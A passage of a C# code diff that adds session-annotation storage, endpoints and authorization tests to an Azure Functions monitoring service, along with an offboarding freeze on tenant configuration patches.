// The session belongs to TenantId (foreign); the GA is Admin of their OWN tenant.
// Tenant-role lanes bind to the caller's own tenant, so this must 403 — otherwise a
// GA's home-tenant admin role would leak into every other tenant's lanes.
var h = BuildFunction();
var gaContext = new RequestContext
{
TenantId = "99999999-9999-9999-9999-999999999999",
TargetTenantId = "99999999-9999-9999-9999-999999999999",
UserPrincipalName = "ga@fabrikam.com",
IsGlobalAdmin = true,
IsTenantAdmin = true, // admin of the HOME tenant, not of TenantId
UserRole = Constants.TenantRoles.Admin,
};
var req = BuildRequest(
Principal(("tid", gaContext.TenantId), ("upn", "ga@fabrikam.com")),
gaContext,
new { verdict = AnnotationVerdicts.RootCauseConfirmed });
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
Assert.Equal(HttpStatusCode.Forbidden, response.StatusCode);
Assert.Empty(h.Stored);
}
[Fact]
public async Task Upsert_ga_writes_globaladmin_lane_on_foreign_tenant_session()
{
var h = BuildFunction();
var gaContext = new RequestContext
{
TenantId = "99999999-9999-9999-9999-999999999999", // GA's home tenant
TargetTenantId = "99999999-9999-9999-9999-999999999999",
UserPrincipalName = "ga@fabrikam.com",
IsGlobalAdmin = true,
UserRole = "GlobalAdmin",
};
var req = BuildRequest(
Principal(("tid", gaContext.TenantId), ("name", "Gerd Admin"), ("upn", "ga@fabrikam.com")),
gaContext,
new { verdict = AnnotationVerdicts.DifferentProblem, note = "actually a network issue" });
var response = await h.Function.Run(req, SessionId, AnnotationLanes.GlobalAdmin);
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
var written = Assert.Single(h.Stored);
// Tenant resolved from the session index, NOT the GA's own tenant.
Assert.Equal(TenantId, written.TenantId);
Assert.Equal(AnnotationLanes.GlobalAdmin, written.Lane);
}
}
@@ -0,0 +1,165 @@
using System;
using System.Collections.Generic;
using AutopilotMonitor.Functions.DataAccess.TableStorage;
using AutopilotMonitor.Shared.Models;
using Azure.Data.Tables;
using Xunit;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// Round-trip pins for the SessionAnnotations Store/Map pair (memory:
/// feedback_table_storage_serialization — every new field in <see cref="SessionAnnotation"/>
/// MUST be exercised in Store+Map so silent drops surface here), plus the RowKey and
/// OData-filter builders.
/// </summary>
public class TableSessionAnnotationRepositoryTests
{
private const string TenantId = "11111111-1111-1111-1111-111111111111";
private const string SessionId = "22222222-2222-2222-2222-222222222222";
private static SessionAnnotation FullAnnotation() => new()
{
TenantId = TenantId,
SessionId = SessionId,
Lane = AnnotationLanes.TenantAdmin,
Verdict = AnnotationVerdicts.RootCauseConfirmed,
Note = "Root cause matches what we saw on the device.",
AuthorUpn = "alice@contoso.com",
AuthorDisplayName = "Alice Admin",
CreatedByUpn = "bob@contoso.com",
CreatedAtUtc = new DateTime(2026, 8, 1, 10, 30, 0, DateTimeKind.Utc),
UpdatedAtUtc = new DateTime(2026, 8, 11, 9, 15, 0, DateTimeKind.Utc),
RuleIds = new List<string> { "ANALYZE-ESP-001", "ANALYZE-CORR-003" },
};
[Fact]
public void Roundtrip_all_fields_survive_store_and_map()
{
var original = FullAnnotation();
var mapped = TableSessionAnnotationRepository.MapAnnotation(
TableSessionAnnotationRepository.StoreAnnotation(original));
Assert.Equal(original.TenantId, mapped.TenantId);
Assert.Equal(original.SessionId, mapped.SessionId);
Assert.Equal(original.Lane, mapped.Lane);
Assert.Equal(original.Verdict, mapped.Verdict);
Assert.Equal(original.Note, mapped.Note);
Assert.Equal(original.AuthorUpn, mapped.AuthorUpn);
Assert.Equal(original.AuthorDisplayName, mapped.AuthorDisplayName);
Assert.Equal(original.CreatedByUpn, mapped.CreatedByUpn);
Assert.Equal(original.CreatedAtUtc, mapped.CreatedAtUtc);
Assert.Equal(original.UpdatedAtUtc, mapped.UpdatedAtUtc);
Assert.Equal(original.RuleIds, mapped.RuleIds);
}
[Fact]
public void Roundtrip_null_verdict_and_note_stay_null()
{
var original = FullAnnotation();
original.Verdict = null;
original.Note = null;
original.RuleIds = new List<string>();
var mapped = TableSessionAnnotationRepository.MapAnnotation(
TableSessionAnnotationRepository.StoreAnnotation(original));
Assert.Null(mapped.Verdict);
Assert.Null(mapped.Note);
Assert.Empty(mapped.RuleIds);
}
[Fact]
public void Store_uses_tenant_pk_and_sessionId_lane_rk()
{
var entity = TableSessionAnnotationRepository.StoreAnnotation(FullAnnotation());
Assert.Equal(TenantId, entity.PartitionKey);
Assert.Equal($"{SessionId}_{AnnotationLanes.TenantAdmin}", entity.RowKey);
}
[Theory]
[InlineData("not json at all")]
[InlineData("{\"truncated\":")]
[InlineData("")]
[InlineData(null)]
public void Map_corrupt_or_missing_ruleIds_degrades_to_empty_list(string? corruptJson)
{
var entity = TableSessionAnnotationRepository.StoreAnnotation(FullAnnotation());
entity["RuleIdsJson"] = corruptJson;
var mapped = TableSessionAnnotationRepository.MapAnnotation(entity);
Assert.Empty(mapped.RuleIds);
}
[Fact]
public void Map_tolerates_minimal_legacy_entity()
{
// A row carrying only PK/RK (e.g. hand-repaired) must map without throwing.
var entity = new TableEntity(TenantId, $"{SessionId}_{AnnotationLanes.Operator}");
var mapped = TableSessionAnnotationRepository.MapAnnotation(entity);
Assert.Equal(TenantId, mapped.TenantId);
Assert.Equal(string.Empty, mapped.SessionId);
Assert.Null(mapped.Verdict);
Assert.Null(mapped.Note);
Assert.Empty(mapped.RuleIds);
}
// ── query filter builder ────────────────────────────────────────────────
[Fact]
public void BuildQueryFilter_no_filters_returns_null()
{
Assert.Null(TableSessionAnnotationRepository.BuildQueryFilter(null, null, null, null, null));
}
[Fact]
public void BuildQueryFilter_combines_all_clauses_with_and()
{
var filter = TableSessionAnnotationRepository.BuildQueryFilter(
TenantId, AnnotationLanes.GlobalAdmin, AnnotationVerdicts.AnalysisWrong,
new DateTime(2026, 8, 1, 0, 0, 0, DateTimeKind.Utc),
new DateTime(2026, 8, 11, 0, 0, 0, DateTimeKind.Utc));
Assert.Equal(
$"PartitionKey eq '{TenantId}'" +
" and Lane eq 'globaladmin'" +
" and Verdict eq 'analysis_wrong'" +
" and UpdatedAtUtc ge datetime'2026-08-01T00:00:00Z'" +
" and UpdatedAtUtc lt datetime'2026-08-11T00:00:00Z'",
filter);
}
[Fact]
public void BuildQueryFilter_escapes_single_quotes()
{
var filter = TableSessionAnnotationRepository.BuildQueryFilter("ten'ant", null, null, null, null);
Assert.Equal("PartitionKey eq 'ten''ant'", filter);
}
[Fact]
public void BuildQueryFilter_excludes_globaladmin_lane_for_tenant_scope()
{
var filter = TableSessionAnnotationRepository.BuildQueryFilter(
TenantId, null, null, null, null, excludeGlobalAdminLane: true);
Assert.Equal($"PartitionKey eq '{TenantId}' and Lane ne 'globaladmin'", filter);
}
[Fact]
public void BuildQueryFilter_explicit_globaladmin_lane_with_exclusion_contradicts_to_empty()
{
// A tenant caller explicitly asking for lane=globaladmin gets a self-contradicting
// filter (eq + ne on the same value) — structurally an empty result, never a leak.
var filter = TableSessionAnnotationRepository.BuildQueryFilter(
TenantId, AnnotationLanes.GlobalAdmin, null, null, null, excludeGlobalAdminLane: true);
Assert.Contains("Lane eq 'globaladmin'", filter);
Assert.Contains("Lane ne 'globaladmin'", filter);
}
}
@@ -4,6 +4,7 @@ using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Functions.DataAccess.TableStorage;
using AutopilotMonitor.Functions.Functions.Admin;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.DataAccess;
@@ -154,6 +155,68 @@ public class TenantConfigPatchServiceTests
Assert.Null(harness.Current!.ContactEmail);
}
// ── Mid-offboarding freeze ──────────────────────────────────────────────
[Fact]
public async Task Patch_OffboardingTombstone_IsFrozen_EvenForGa()
{
// While the row is the offboarding tombstone, the cascade owns it: a GA patch
// lifting Disabled would un-gate agents against a tenant whose partitions are
// queued for deletion (un-offboard race).
var stored = Stored();
stored.Disabled = true;
stored.DisabledReason = TenantOffboardFunction.OffboardingDisabledReason;
var harness = new Harness(stored);
var outcome = await harness.Sut.ApplyFieldPatchAsync(
TenantId, Fields(("disabled", false)), Ga, "mcp-patch", "trying to un-offboard");
Assert.False(outcome.Success);
Assert.Equal(PatchFailure.ValidationFailed, outcome.Failure);
Assert.Contains("offboarding", outcome.Error, StringComparison.OrdinalIgnoreCase);
Assert.True(harness.Current!.Disabled, "tombstone must be untouched");
Assert.Equal(0, harness.ReplaceCalls);
}
[Fact]
public async Task Patch_OrdinarySuspension_IsNotFrozen()
{
// The freeze is specific to the offboarding tombstone — a normally suspended
// tenant (different DisabledReason) stays fully patchable.
var stored = Stored();
stored.Disabled = true;
stored.DisabledReason = "Manual suspension";
var harness = new Harness(stored);
var outcome = await harness.Sut.ApplyFieldPatchAsync(
TenantId, Fields(("dataRetentionDays", 60)), Ga, "mcp-patch", null);
Assert.True(outcome.Success);
Assert.Equal(60, harness.Current!.DataRetentionDays);
}
[Fact]
public async Task Revert_OffboardingTombstone_IsFrozen()
{
// A revert restores a pre-offboarding snapshot with Disabled=false — the exact
// un-offboard race. Build a backup while the tenant is healthy, then tombstone.
var harness = new Harness(Stored());
var patched = await harness.Sut.ApplyFieldPatchAsync(
TenantId, Fields(("dataRetentionDays", 90)), Ga, "mcp-patch", null);
Assert.True(patched.Success);
harness.Current!.Disabled = true;
harness.Current.DisabledReason = TenantOffboardFunction.OffboardingDisabledReason;
var outcome = await harness.Sut.RevertAsync(
TenantId, backupId: null, includeProtectedFields: false, Ga, "mcp-revert", null);
Assert.False(outcome.Success);
Assert.Equal(PatchFailure.ValidationFailed, outcome.Failure);
Assert.Contains("offboarding", outcome.Error, StringComparison.OrdinalIgnoreCase);
Assert.True(harness.Current.Disabled, "tombstone must be untouched");
}
[Fact]
public async Task Patch_NoOp_ValueEqualsStored_NoBackupNoWrite()
{
@@ -55,12 +55,6 @@
<PackageReference Include="Newtonsoft.Json" Version="13.0.4" />
<PackageReference Include="Microsoft.Identity.Web" Version="4.3.0" />
<PackageReference Include="Microsoft.AspNetCore.Authentication.JwtBearer" Version="10.0.10" />
<!-- Security pins: Microsoft.Identity.Web 4.3.0 pulls these transitively at 10.0.0, which carries
known advisories (GHSA-9mv3-2cwr-p262 DataProtection; GHSA-37gx-xxp4-5rgx and siblings on
Cryptography.Xml). Force the patched 10.0.10 servicing build. Remove once Identity.Web ships
a dependency floor past the fix. -->
<PackageReference Include="Microsoft.AspNetCore.DataProtection" Version="10.0.10" />
<PackageReference Include="System.Security.Cryptography.Xml" Version="10.0.10" />
<PackageReference Include="Microsoft.Extensions.Http.Polly" Version="8.0.25" />
<PackageReference Include="Resend" Version="0.2.1" />
</ItemGroup>
@@ -31,6 +31,7 @@ namespace AutopilotMonitor.Functions.DataAccess
services.AddSingleton<IAdminRepository, TableAdminRepository>();
services.AddSingleton<IConfigRepository, TableConfigRepository>();
services.AddSingleton<IFeedbackRepository, TableFeedbackRepository>();
services.AddSingleton<ISessionAnnotationRepository, TableSessionAnnotationRepository>();
services.AddSingleton<IBootstrapRepository, TableBootstrapRepository>();
services.AddSingleton<INotificationRepository, TableNotificationRepository>();
services.AddSingleton<ITenantNotificationRepository, TableTenantNotificationRepository>();
@@ -623,6 +623,7 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
{ "NtpServer", config.NtpServer },
{ "EnableImeMatchLog", config.EnableImeMatchLog },
{ "EnableGatherRuleDebugLog", config.EnableGatherRuleDebugLog },
{ "EnableEspContinueAnywayObservation", config.EnableEspContinueAnywayObservation },
{ "LogLevel", config.LogLevel },
{ "MaxBatchSize", config.MaxBatchSize },
{ "DiagnosticsBlobSasUrl", config.DiagnosticsBlobSasUrl },
@@ -729,6 +730,7 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
NtpServer = string.IsNullOrWhiteSpace(entity.GetString("NtpServer")) ? "time.windows.com" : entity.GetString("NtpServer"),
EnableImeMatchLog = entity.GetBoolean("EnableImeMatchLog"),
EnableGatherRuleDebugLog = entity.GetBoolean("EnableGatherRuleDebugLog"),
EnableEspContinueAnywayObservation = entity.GetBoolean("EnableEspContinueAnywayObservation"),
LogLevel = entity.GetString("LogLevel"),
MaxBatchSize = entity.GetInt32("MaxBatchSize"),
DiagnosticsBlobSasUrl = entity.GetString("DiagnosticsBlobSasUrl"),
@@ -43,6 +43,7 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
["AgentTimestamp"] = entry.AgentTimestamp,
["IngestedAt"] = entry.IngestedAt,
["SourceIp"] = Truncate(entry.SourceIp, 45), // max IPv6 length
["IsCloudPc"] = entry.IsCloudPc,
["CertSourceState"] = Truncate(entry.CertSourceState, 32),
["CertThumbprint"] = Truncate(entry.CertThumbprint, 40),
["CertSubject"] = Truncate(entry.CertSubject, 96),
@@ -125,6 +126,7 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
AgentTimestamp = entity.GetDateTimeOffset("AgentTimestamp")?.UtcDateTime ?? DateTime.MinValue,
IngestedAt = entity.GetDateTimeOffset("IngestedAt")?.UtcDateTime ?? DateTime.MinValue,
SourceIp = entity.GetString("SourceIp"),
IsCloudPc = entity.GetBoolean("IsCloudPc") ?? false,
CertSourceState = entity.GetString("CertSourceState"),
CertThumbprint = entity.GetString("CertThumbprint"),
CertSubject = entity.GetString("CertSubject"),
@@ -0,0 +1,243 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.Json;
using System.Threading.Tasks;
using AutopilotMonitor.Functions.Pagination;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.DataAccess;
using AutopilotMonitor.Shared.Models;
using Azure;
using Azure.Data.Tables;
using Microsoft.Extensions.Logging;
namespace AutopilotMonitor.Functions.DataAccess.TableStorage
{
/// <summary>
/// Table-storage implementation of <see cref="ISessionAnnotationRepository"/>.
/// Backed by the dedicated <c>SessionAnnotations</c> table:
/// PK = tenantId, RK = <c>{sessionId}_{lane}</c>.
/// </summary>
public class TableSessionAnnotationRepository : ISessionAnnotationRepository
{
// Client-side ruleId filtering can shrink an Azure page below pageSize; the
// back-fill loop keeps fetching until enough matches accumulate, capped here so
// a pathological filter can never turn one request into an unbounded scan.
internal const int MaxBackfillRoundTrips = 10;
private readonly TableClient _tableClient;
private readonly ILogger<TableSessionAnnotationRepository> _logger;
public TableSessionAnnotationRepository(
TableStorageService storage, ILogger<TableSessionAnnotationRepository> logger)
{
_tableClient = storage.GetTableClient(Constants.TableNames.SessionAnnotations);
_logger = logger;
}
public async Task<SessionAnnotation?> GetAsync(string tenantId, string sessionId, string lane)
{
try
{
var entity = await _tableClient.GetEntityAsync<TableEntity>(
tenantId, BuildRowKey(sessionId, lane));
return MapAnnotation(entity.Value);
}
catch (RequestFailedException ex) when (ex.Status == 404)
{
return null;
}
catch (Exception ex)
{
_logger.LogError(ex,
"Error loading annotation {SessionId}/{Lane} for tenant {TenantId}",
sessionId, lane, tenantId);
throw;
}
}
public async Task<List<SessionAnnotation>> GetForSessionAsync(string tenantId, string sessionId)
{
try
{
// '~' (0x7E) sorts after '_' (0x5F) and every lane letter: upper-bounds all
// "{sessionId}_{lane}" keys without matching a longer sessionId prefix.
var filter =
$"PartitionKey eq '{Escape(tenantId)}'" +
$" and RowKey ge '{Escape(sessionId)}_'" +
$" and RowKey lt '{Escape(sessionId)}_~'";
var results = new List<SessionAnnotation>();
await foreach (var entity in _tableClient.QueryAsync<TableEntity>(filter: filter))
{
results.Add(MapAnnotation(entity));
}
return results;
}
catch (Exception ex)
{
_logger.LogError(ex,
"Error loading annotations for session {SessionId}, tenant {TenantId}",
sessionId, tenantId);
throw;
}
}
public async Task UpsertAsync(SessionAnnotation annotation)
{
try
{
await _tableClient.UpsertEntityAsync(StoreAnnotation(annotation), TableUpdateMode.Replace);
}
catch (Exception ex)
{
_logger.LogError(ex,
"Error saving annotation {SessionId}/{Lane} for tenant {TenantId}",
annotation.SessionId, annotation.Lane, annotation.TenantId);
throw;
}
}
public async Task DeleteAsync(string tenantId, string sessionId, string lane)
{
try
{
await _tableClient.DeleteEntityAsync(tenantId, BuildRowKey(sessionId, lane));
}
catch (RequestFailedException ex) when (ex.Status == 404)
{
// Missing row is a no-op — clearing an annotation twice must not fail.
}
catch (Exception ex)
{
_logger.LogError(ex,
"Error deleting annotation {SessionId}/{Lane} for tenant {TenantId}",
sessionId, lane, tenantId);
throw;
}
}
public async Task<(List<SessionAnnotation> Items, string? NextRawToken)> QueryPageAsync(
string? tenantId,
string? lane,
string? verdict,
string? ruleId,
DateTime? dateFrom,
DateTime? dateTo,
int pageSize,
string? continuation,
bool excludeGlobalAdminLane = false)
{
var filter = BuildQueryFilter(tenantId, lane, verdict, dateFrom, dateTo, excludeGlobalAdminLane);
var items = new List<SessionAnnotation>();
var token = continuation;
// ruleId cannot be pushed into OData (substring match on a JSON column), so it
// filters client-side. Back-fill whole Azure pages until pageSize matches
// accumulate or the scan is exhausted, so filtered-out rows never consume page
// budget (lesson: filter-after-pagination empties the list).
for (var round = 0; round < MaxBackfillRoundTrips; round++)
{
var (page, nextToken) = await AzureTablesPaginator.FetchPageAsync<TableEntity>(
_tableClient, filter, pageSize, token);
foreach (var entity in page)
{
var annotation = MapAnnotation(entity);
if (ruleId != null &&
!annotation.RuleIds.Contains(ruleId, StringComparer.OrdinalIgnoreCase))
{
continue;
}
items.Add(annotation);
}
token = nextToken;
if (token == null || items.Count >= pageSize)
{
break;
}
}
return (items, token);
}
internal static string BuildRowKey(string sessionId, string lane) => $"{sessionId}_{lane}";
internal static string? BuildQueryFilter(
string? tenantId, string? lane, string? verdict, DateTime? dateFrom, DateTime? dateTo,
bool excludeGlobalAdminLane = false)
{
var sb = new StringBuilder();
void Append(string clause)
{
if (sb.Length > 0) sb.Append(" and ");
sb.Append(clause);
}
if (!string.IsNullOrEmpty(tenantId)) Append($"PartitionKey eq '{Escape(tenantId!)}'");
if (!string.IsNullOrEmpty(lane)) Append($"Lane eq '{Escape(lane!)}'");
// Server-side, so hidden rows never consume page budget; combined with an explicit
// lane=globaladmin filter this contradicts to an empty result — fail-safe by shape.
if (excludeGlobalAdminLane) Append($"Lane ne '{AnnotationLanes.GlobalAdmin}'");
if (!string.IsNullOrEmpty(verdict)) Append($"Verdict eq '{Escape(verdict!)}'");
if (dateFrom.HasValue) Append($"UpdatedAtUtc ge datetime'{dateFrom.Value.ToUniversalTime():yyyy-MM-ddTHH:mm:ssZ}'");
if (dateTo.HasValue) Append($"UpdatedAtUtc lt datetime'{dateTo.Value.ToUniversalTime():yyyy-MM-ddTHH:mm:ssZ}'");
return sb.Length == 0 ? null : sb.ToString();
}
private static string Escape(string value) => value.Replace("'", "''");
// ── Store / Map (memory: feedback_table_storage_serialization) ─────────
// internal static: pinned by round-trip unit tests — every property must
// survive Store→Map, so any new field lands in BOTH methods plus the test.
internal static TableEntity StoreAnnotation(SessionAnnotation a) =>
new(a.TenantId, BuildRowKey(a.SessionId, a.Lane))
{
["SessionId"] = a.SessionId,
["Lane"] = a.Lane,
["Verdict"] = a.Verdict,
["Note"] = a.Note,
["AuthorUpn"] = a.AuthorUpn,
["AuthorDisplayName"] = a.AuthorDisplayName,
["CreatedByUpn"] = a.CreatedByUpn,
["CreatedAtUtc"] = EnsureUtc(a.CreatedAtUtc),
["UpdatedAtUtc"] = EnsureUtc(a.UpdatedAtUtc),
["RuleIdsJson"] = JsonSerializer.Serialize(a.RuleIds),
};
internal static SessionAnnotation MapAnnotation(TableEntity e) => new()
{
TenantId = e.PartitionKey,
SessionId = e.GetString("SessionId") ?? string.Empty,
Lane = e.GetString("Lane") ?? string.Empty,
Verdict = e.GetString("Verdict"),
Note = e.GetString("Note"),
AuthorUpn = e.GetString("AuthorUpn") ?? string.Empty,
AuthorDisplayName = e.GetString("AuthorDisplayName") ?? string.Empty,
CreatedByUpn = e.GetString("CreatedByUpn") ?? string.Empty,
CreatedAtUtc = e.GetDateTime("CreatedAtUtc") ?? DateTime.MinValue,
UpdatedAtUtc = e.GetDateTime("UpdatedAtUtc") ?? DateTime.MinValue,
RuleIds = DeserializeRuleIds(e.GetString("RuleIdsJson")),
};
private static List<string> DeserializeRuleIds(string? json)
{
if (string.IsNullOrEmpty(json)) return new List<string>();
try
{
return JsonSerializer.Deserialize<List<string>>(json!) ?? new List<string>();
}
catch (JsonException)
{
return new List<string>(); // corrupt/truncated column — degrade to empty, never throw on read
}
}
private static DateTime EnsureUtc(DateTime value) =>
value.Kind == DateTimeKind.Utc ? value : DateTime.SpecifyKind(value, DateTimeKind.Utc);
}
}
@@ -65,13 +65,14 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
bool? isUserDriven = null, DateTime? resumedAt = null,
DateTime? stalledAt = null, bool clearStalledAt = false, bool clearFailureReason = false,
string? failureSource = null, string? adminMarkedAction = null,
string? failureSnapshotJson = null, bool allowTerminalReclassification = false)
string? failureSnapshotJson = null, bool allowTerminalReclassification = false,
bool espSoftFailure = false, string? completionSource = null)
{
var transitioned = await _storage.UpdateSessionStatusAsync(tenantId, sessionId, status,
currentPhase, failureReason, completedAt, earliestEventTimestamp,
latestEventTimestamp, isPreProvisioned, isUserDriven, resumedAt,
stalledAt, clearStalledAt, clearFailureReason, failureSource, adminMarkedAction,
failureSnapshotJson, allowTerminalReclassification);
failureSnapshotJson, allowTerminalReclassification, espSoftFailure, completionSource);
// Reconcile the authoritative EventCount + RebootCount whenever a session actually
// transitions to a terminal state through ANY caller — ingest, admin mark
@@ -517,6 +517,17 @@ public class TenantOffboardFunction
/// </summary>
internal const string OffboardingDisabledReason = "Offboarding in progress";
/// <summary>
/// True when the row is the offboarding tombstone written by
/// <c>EnsureTenantDisabledAsync</c>. Shared predicate for every config writer and
/// wiper that must distinguish the mid-offboarding freeze from an ordinary
/// suspended (or re-onboarded) tenant: while this is true, the tenant's
/// configuration is frozen and the offboarding cascade owns the row.
/// </summary>
internal static bool IsOffboardingTombstone(TenantConfiguration? config) =>
config is { Disabled: true }
&& string.Equals(config.DisabledReason, OffboardingDisabledReason, StringComparison.Ordinal);
/// <summary>
/// Result of <see cref="EnsureTenantDisabledAsync"/>. Carries both whether a fresh
/// write happened AND the tombstone's <c>LastUpdated</c> timestamp so the resume-path
@@ -0,0 +1,125 @@
using System;
using System.Collections.Generic;
using System.Linq;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Shared.DataAccess;
using AutopilotMonitor.Shared.Models;
using Microsoft.Azure.Functions.Worker;
using Microsoft.Azure.Functions.Worker.Http;
using Microsoft.Extensions.Logging;
namespace AutopilotMonitor.Functions.Functions.Annotations
{
/// <summary>
/// Returns the annotations (all lanes visible to the caller) for one session.
/// The <c>globaladmin</c> lane is platform-internal and filtered out for callers
/// without global scope.
/// </summary>
public class GetSessionAnnotationsFunction
{
private readonly ILogger<GetSessionAnnotationsFunction> _logger;
private readonly ISessionAnnotationRepository _annotationRepo;
private readonly ISessionRepository _sessionRepo;
public GetSessionAnnotationsFunction(
ILogger<GetSessionAnnotationsFunction> logger,
ISessionAnnotationRepository annotationRepo,
ISessionRepository sessionRepo)
{
_logger = logger;
_annotationRepo = annotationRepo;
_sessionRepo = sessionRepo;
}
[Function("GetSessionAnnotations")]
public async Task<HttpResponseData> Run(
[HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "sessions/{sessionId}/annotations")] HttpRequestData req,
string sessionId)
{
try
{
// Authentication + MemberRead authorization enforced by PolicyEnforcementMiddleware
var requestCtx = req.GetRequestContext();
var effectiveTenantId = requestCtx.TargetTenantId;
// Global-scope (GA or read-only GlobalReader) cross-tenant fallback: resolve
// the actual tenant upfront so the read works cross-tenant.
if (requestCtx.HasGlobalScope)
{
var resolvedTenantId = await _sessionRepo.FindSessionTenantIdAsync(sessionId);
if (resolvedTenantId != null
&& !string.Equals(resolvedTenantId, effectiveTenantId, StringComparison.OrdinalIgnoreCase))
{
effectiveTenantId = resolvedTenantId;
}
}
var annotations = await _annotationRepo.GetForSessionAsync(effectiveTenantId, sessionId);
var visible = FilterLanesForCaller(annotations, requestCtx.HasGlobalScope);
return await req.OkAsync(new
{
success = true,
sessionId,
tenantId = effectiveTenantId,
annotations = visible.Select(AnnotationWire.ToWire).ToList(),
});
}
catch (Exception ex)
{
_logger.LogError(ex, "Error fetching annotations for session {SessionId}", sessionId);
var errorResponse = req.CreateResponse(System.Net.HttpStatusCode.InternalServerError);
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
return errorResponse;
}
}
/// <summary>
/// The globaladmin lane is a platform-internal quality label — callers without
/// global scope (tenant members and delegated admins) never see it.
/// </summary>
internal static List<SessionAnnotation> FilterLanesForCaller(
List<SessionAnnotation> annotations, bool hasGlobalScope)
{
if (hasGlobalScope) return annotations;
return annotations
.Where(a => !string.Equals(a.Lane, AnnotationLanes.GlobalAdmin, StringComparison.OrdinalIgnoreCase))
.ToList();
}
}
/// <summary>
/// Explicit camelCase wire shape shared by the annotation endpoints so the JSON
/// contract does not depend on serializer naming configuration.
/// </summary>
internal static class AnnotationWire
{
internal static object ToWire(SessionAnnotation a) => new
{
lane = a.Lane,
verdict = a.Verdict,
note = a.Note,
authorUpn = a.AuthorUpn,
authorDisplayName = a.AuthorDisplayName,
createdByUpn = a.CreatedByUpn,
createdAtUtc = a.CreatedAtUtc,
updatedAtUtc = a.UpdatedAtUtc,
ruleIds = a.RuleIds,
};
internal static object ToWireWithScope(SessionAnnotation a) => new
{
tenantId = a.TenantId,
sessionId = a.SessionId,
lane = a.Lane,
verdict = a.Verdict,
note = a.Note,
authorUpn = a.AuthorUpn,
authorDisplayName = a.AuthorDisplayName,
createdByUpn = a.CreatedByUpn,
createdAtUtc = a.CreatedAtUtc,
updatedAtUtc = a.UpdatedAtUtc,
ruleIds = a.RuleIds,
};
}
}
@@ -0,0 +1,102 @@
using System;
using System.Linq;
using System.Net;
using System.Web;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Functions.Pagination;
using AutopilotMonitor.Shared.DataAccess;
using Microsoft.Azure.Functions.Worker;
using Microsoft.Azure.Functions.Worker.Http;
using Microsoft.Extensions.Logging;
namespace AutopilotMonitor.Functions.Functions.Annotations
{
/// <summary>
/// Cross-tenant evaluation stream over all annotation lanes (the flywheel read:
/// verdicts per rule, false-positive rates, labeled sessions). Platform scope for the
/// aggregate; a delegated ("MSP") reader reaches it only on its managed ?tenantId= path
/// and never sees the platform-internal globaladmin lane.
/// </summary>
public class ListSessionAnnotationsFunction
{
private readonly ILogger<ListSessionAnnotationsFunction> _logger;
private readonly ISessionAnnotationRepository _annotationRepo;
public ListSessionAnnotationsFunction(
ILogger<ListSessionAnnotationsFunction> logger,
ISessionAnnotationRepository annotationRepo)
{
_logger = logger;
_annotationRepo = annotationRepo;
}
[Function("ListSessionAnnotations")]
public async Task<HttpResponseData> Run(
[HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "global/session-annotations")] HttpRequestData req)
{
try
{
// Authentication + GlobalReadOrAdmin authorization enforced by PolicyEnforcementMiddleware
var requestCtx = req.GetRequestContext();
var callerTenantId = TenantHelper.GetTenantId(req);
var query = HttpUtility.ParseQueryString(req.Url.Query ?? string.Empty);
var parsed = SessionAnnotationsPagination.ParseQuery(query);
if (parsed.Error != null)
{
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
await bad.WriteAsJsonAsync(new { success = false, message = parsed.Error });
return bad;
}
string? azureToken = null;
if (parsed.Continuation != null)
{
if (!SessionAnnotationsPagination.TryAcceptContinuation(
parsed, callerTenantId, out azureToken, out var rejectReason))
{
_logger.LogWarning("ListSessionAnnotations: continuation rejected ({Reason})", rejectReason);
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
await bad.WriteAsJsonAsync(new
{
success = false,
message = $"Invalid continuation token ({rejectReason}). Restart pagination from the first page.",
});
return bad;
}
}
// Not only GA/Reader reach this route: the delegated ("MSP") read rescue admits a
// delegated caller on its managed ?tenantId= path. The platform-internal globaladmin
// lane stays global-scope-only, so it is excluded for everyone else.
var (items, nextRawToken) = await _annotationRepo.QueryPageAsync(
parsed.FilterTenantId, parsed.Lane, parsed.Verdict, parsed.RuleId,
parsed.DateFrom, parsed.DateTo, parsed.PageSize, azureToken,
excludeGlobalAdminLane: !requestCtx.HasGlobalScope);
string? nextLink = null;
if (!string.IsNullOrEmpty(nextRawToken))
{
var wireToken = SessionAnnotationsPagination.EncodeContinuation(
parsed, callerTenantId, nextRawToken!);
nextLink = SessionAnnotationsPagination.BuildNextLink(parsed, wireToken);
}
return await req.OkAsync(new
{
success = true,
count = items.Count,
annotations = items.Select(AnnotationWire.ToWireWithScope).ToList(),
nextLink,
});
}
catch (Exception ex)
{
_logger.LogError(ex, "Error listing session annotations");
var errorResponse = req.CreateResponse(HttpStatusCode.InternalServerError);
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
return errorResponse;
}
}
}
}
@@ -0,0 +1,121 @@
using System;
using System.Linq;
using System.Net;
using System.Web;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Functions.Pagination;
using AutopilotMonitor.Shared.DataAccess;
using Microsoft.Azure.Functions.Worker;
using Microsoft.Azure.Functions.Worker.Http;
using Microsoft.Extensions.Logging;
namespace AutopilotMonitor.Functions.Functions.Annotations
{
/// <summary>
/// Tenant-scoped annotation list — backs the portal's Annotations overview page
/// ("which sessions has my team already judged?"). Same filter surface as the global
/// evaluation stream, always bound to the middleware-validated target tenant. The
/// platform-internal globaladmin lane is excluded in the OData query for callers
/// without global scope, so hidden rows never consume page budget.
/// </summary>
public class ListTenantSessionAnnotationsFunction
{
private readonly ILogger<ListTenantSessionAnnotationsFunction> _logger;
